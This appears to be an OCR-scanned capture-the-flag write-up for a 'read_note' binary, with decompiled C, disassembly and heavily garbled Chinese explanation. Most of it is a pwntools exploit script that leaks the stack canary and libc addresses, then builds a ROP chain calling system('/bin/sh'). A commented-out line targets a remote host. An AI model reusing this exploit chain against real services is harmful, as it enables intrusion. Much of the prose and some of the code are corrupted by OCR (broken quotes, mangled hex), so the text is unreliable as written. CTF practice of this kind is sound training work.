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puts("write some note:");

puts(" please input the note len:");

*(_DWORD *)nbytes = 0;

__iso0c99_scanf("%d", nbytes);

puts("please input the note:");

read(@, &v4, *(unsigned int *)nbytes);

puts("the note is: ");

puts(&v4);

if ( strlen(&v4) != 624 )

{
puts("error: the note len must be 624");
puts(" so please input note(len is 624)");
read(@, &v4, 0x270uLL);

}

return _ readfsqword(©x28u) ~ v5;
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200200000000001E locret DI1E: ; CODE XREF: wul+2771j
BOBoaB0RE0RBDLE leave
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BeE0008008000D1F vul endp
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popoDEOOREBeBD2e ; int _ cdecl main(int argc, const char **argv, const char **envp)
peeooEDE00000020 public main
BeE0Pe0000000020 main proc near
2000000000000020 ; _ unwind {

peeooeoe00000028 push rbp
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2000000000008034 ; } // starts at D20

2. BIURHAT, 600 b, FEBE MMM E, BptR616. MR UE L, vAZjER
Canary (Ox7fffffffde884L) , #RJEHHFE—MHubbAL, BUAT DA tHmaint 1480 B sktuhk, gt ol LS BIRE P gmteit. 2
JEE I BR BT FIFE 759, FHR B B maini B aa i & »

98:04cH X fff € 4+ 'aaaaaaaaaaaaaaaaazaazaszaazaaaszaazassaaassaaaaal
)

PO -

9d:84e8 TARARD] J* 'aaaaaa\n" */
e:04f@ XTFFFrff 4+ B6x2921fcBcecBd7500

of:04f8| rbp FFFff 3 - HEfFffi -

4 push ris

3. B=WIAT, EwHMEAZ_ lilbc_start_mainf EsLHbE T, fEAmaink KR EIEE, M EERLIEH, WA Lt
#__libc_start_main+240fihtik, WK IKFIFLibcSearcherf Hilibchii A, #RJ5 15 Blsystemihik Fl/bin/sh 745 & f bk .
B4 R%& Tgetshelli &, HBETHE ZRKBANKERR, FHLEEBBKEmaingk$, BRIITERF.

4. FBKRIAT, ATl payloadBiEly, RERAEFT . HT 640, £S5FEdi. FIFIROPgadgeti¥ =2 it i,
RIAETEpop rdisret;ifigadget, K HARF BN L2 BB R MR FinEEmbt, #irrblE2lgadget) EsChbhl, &
I, payloadBt#5E/, W LA ZIshell T .

HETSRE, AR NMEEERE, ERNEEEFFRIREIADRA, HRCKTERNGE. 5%, sendinex ikl
—Mx0a, HJLREERE M T sendlinelli AN send FEEFEANT . Kk, HEHTFHE, BTRRERMmainI G, SKES
Z AT —kpush rbp, btk E#AR R & EMgdb.attach— BB EFE LM, EREEALGIEEEE DX HBHFHERK. 5
=, BE—RIUTmainfI R, B _RKEMARTRERRS], FTER Rk E¥payloaditth %, —IFRE KR RECA B
RERT—2)l. &Ja, HAu64XSshrecv( RIS, AHAIEHIW LA B THINX0045F, 2 M _Eexp i I A ljuster £ 58 77
fE.

ZLEpd, REMexpMRRXER. 2324, REMTERERBAZN, FEZME.

from pwn import *
from LibcSearcher import *



sh = process('./read_note")
#sh = remote('114.116.54.89"',10000)
#context.log Level = 'debug'

pop_rdi_ret = 0x0000000000000€03

log.info('first time")

sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000")
sh.recvuntil('please input the note:')

payloadl = 'a'*600
sh.sendline(payloadl)
sh.recvuntil('a'*600)

canary = u64(sh.recv(8))-0xa
log.info( 'Canary: '+hex(canary))

sh.recvuntil('so please input note(len is 624)")
start_plt = elf.plt[' libc start main']

payloadl = 'a'*600 + p64(canary) + p64(1l) + '\x20'
sh.send(payloadl)

log.info('second time')

sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000")
sh.recvuntil('please input the note:')

payload2 = 'a'*616

sh.send(payload2)

sh.recvuntil('a"*616)

main_addr = u64(sh.recv()[0:6] + '\x00\x00') - Oxe
base = main_addr - 0xd20

pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))

payload2 = 'a'*600 + p64(canary) + p64(1l) + p64(main_addr)
sh.send(payload2)

log.info('third time")

sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000")
sh.recvuntil('please input the note:"')

payload3 = 'a'*648

sh.send(payload3)

sh.recvuntil('a'*648)

libc_start_addr = u64(sh.recv()[0:6] + "\x00\x00') - 240
log.info('_libc_start_main:'+str(hex(libc_start_addr)))
libc = LibcSearcher('_libc_start_main', libc_start_addr)
libc_base = libc_start_addr - libc.dump('_libc_start_main')
system_addr = libc_base + libc.dump('system")

binsh_addr = libc_base + libc.dump('str_bin_sh")

payload3 = 'a'*600 + p64(canary) + p64(1l) + p64(main_addr)
sh.send(payload3)



log.info('fourth time")

sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000")
sh.recvuntil('please input the note:')

payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)

sh.recvuntil('so please input note(len is 624)")

sh.send(payload4)

sh.interactive()
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